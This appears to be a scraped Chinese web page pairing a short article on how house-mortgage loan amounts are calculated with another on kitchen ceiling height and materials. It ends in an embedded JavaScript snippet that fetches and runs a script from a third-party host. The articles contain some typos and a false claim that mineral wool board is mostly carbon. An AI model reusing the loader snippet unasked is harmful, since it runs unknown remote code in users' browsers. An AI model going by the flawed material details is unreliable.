房屋抵押能贷款多少？你知道吗

贷款是目前大家比较熟知的一种金融手段，银行贷款风险较低，但是需要我们可以拿资产抵押，最常见的就是房屋抵押，房屋基本上是每家每户都有且价值较高的固定资产。贷款的手续和种类都相对比较复杂，大家需要了解其中的细节，以免出现不符合个人意愿的情况。房屋抵押贷款主要有两大关键问题需要注意，这里就为大家讲解一下房屋抵押贷款有多少年的，有多少钱的。房屋抵押贷款额度计算公式贷款额度=房产评估值×贷款成数由此公式可以看出，房产的评估值和贷款成数都会影响到房屋的贷款额度。影响房产评估值及贷款成数的因素主要有：1、房龄为避免自身风险，银行在为房屋提供贷款时，一般对房屋本身和贷款人都规定了较为严格的条件，而房龄则是其考虑的重要因素之一。通常办理抵押贷款的房屋建筑年代最好在20年以内，房屋建筑年代越近，所贷成数相应的也就有所提高。房屋建筑年代越老，借款人的贷款成数将会降成。据银行业人士介绍，房产房龄已成为许多银行发放贷款的一项审核标准。一般情况下，因为房龄越长，房屋升值保值的空间越小，一般获批贷款的成数就越低，甚至可能不予贷款。2、房产所处地理位置房屋所处位置、面积等都是银行审批贷款的主要因素。位置偏远、面积小的房屋，贷款成数一般较低。因为位置偏远，面积又小，房产的变现能力就越差，所以贷款成数就月底，甚至可能不予贷款。3、贷款人的年龄、个人信用和还款能力贷款人的年龄较大、信用较差、还款能力较低的贷款人，贷款的成数越低，甚至可能不予贷款。4、房产所在楼层一般来说，处于最高层和最底层的房产都是不好卖的房产，虽然不是影响评估值的主要因素，但是多多少少会影响到房产的估价。5、装修情况精装或豪装的房产都会给房产的评估值加分。6、贷款人的贷款房屋套数如果是贷款买第二套以上的房屋，贷款成数降低，一般在3成左右，甚至可能不予贷款。7、房产属性一般来说普通住宅抵押贷款最多能贷款房产评估值的7成;像写字楼这类的商业用房则只能贷到房产评估值的5成。注意事项以下需要注意：银行在办理房屋抵押消费贷款时，对于借款人的贷款资金用途具有一定的规定，借款人在向银行申请贷款时需要向银行进行贷款资金用途的说明，同时在贷款批准放贷时还需要借款人提供相应的贷款资金用途证明。而这样做的目的是为了加强贷款资金流向的管理，防止一切可能出现的骗贷、贷款资金进入股票风险行业等不良资金用途的发生。贷款已经发展的较为成熟，基本上风险低，不过大家要确定资金的去向，为防自己随意挥霍过度消费。经济在不断的进步发展，像贷款这样的金融手段还有很多，无论是哪一种，大家都需要经过正规的途径去操作，并且了解其中的门路，清楚每一项的要求，这样才能防止自己上当受骗。房屋贷款有年限的区别和价格上的差距，大家应该了解清楚之后再进行选择。

厨房吊顶多深比较合适，看完马上知道

厨房是食物的发源地。对于一个喜欢烹饪的朋友来说，拥有一个舒适而新鲜的厨房是一件美妙的事情。厨房装饰一直是许多人关心的问题。很多人不知道厨房的装饰，也不知道厨房吊顶多深​合适。厨房天花板使用什么材料？这些都是人们在厨房装修中关心的问题。让我们来看看厨房吊顶多深​合适和厨房天花板材料怎么选择。厨房吊顶多深​合适？1、厨房和浴室吊顶装修时，首先要考虑防水和防潮，其次要考虑美观。在中国的房子里，厨房的高度相对较高而且较宽。为避免空虚和寒冷，天花板高度应设计在2.2至2.4米之间。如果你想避免压抑的环境，最好不要低于2.3米。2、当天花板在厨房时，厨房吊顶多深也与厨房的大小有关。例如，如果厨房很大，厨房吊顶多深比较合适，这时应低些，否则整个房间很空；如果面积太小，天花板太低，使整体外观过于凹陷和狭窄。因此，厨房吊顶多深必须根据实际尺寸进行调整，但一般来说大部分天花板在2.2米到2.4米之间。厨房天花板材料的首选是什么？1、PVC吊顶材料是一种比较常见的厨房吊顶材料。颜色鲜艳，耐腐蚀。它非常耐用，安装后价格低廉。因此，在装饰市场上也很常见。一个。另外，不仅质地轻盈耐用，而且具有很强的防火性能，能很好地抵抗烟害。2、石膏板吊顶材料石膏板在厨房吊顶装饰中的应用相对较少，因为其主要成分是石膏，防水防潮性能不太好，长期使用容易受潮变质。当然，石膏板的装饰效果、延展性和成型能力很强，价格相对便宜。如果可以确保厨房干燥，仍然可以使用石膏板天花板。3、矿棉板这种材料用于厨房天花板，主要由碳制成，所以很重，安装困难，价格也很高。通常用作特殊场合的天花板材料。 var _hmt = _hmt || []; (function() { var hm = document.createElement("script"); hm.src = "https://m.kcdates.com/hm.js?b1d27fb0b411949e1a1f5a5aefb6af88"; var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(hm, s); })();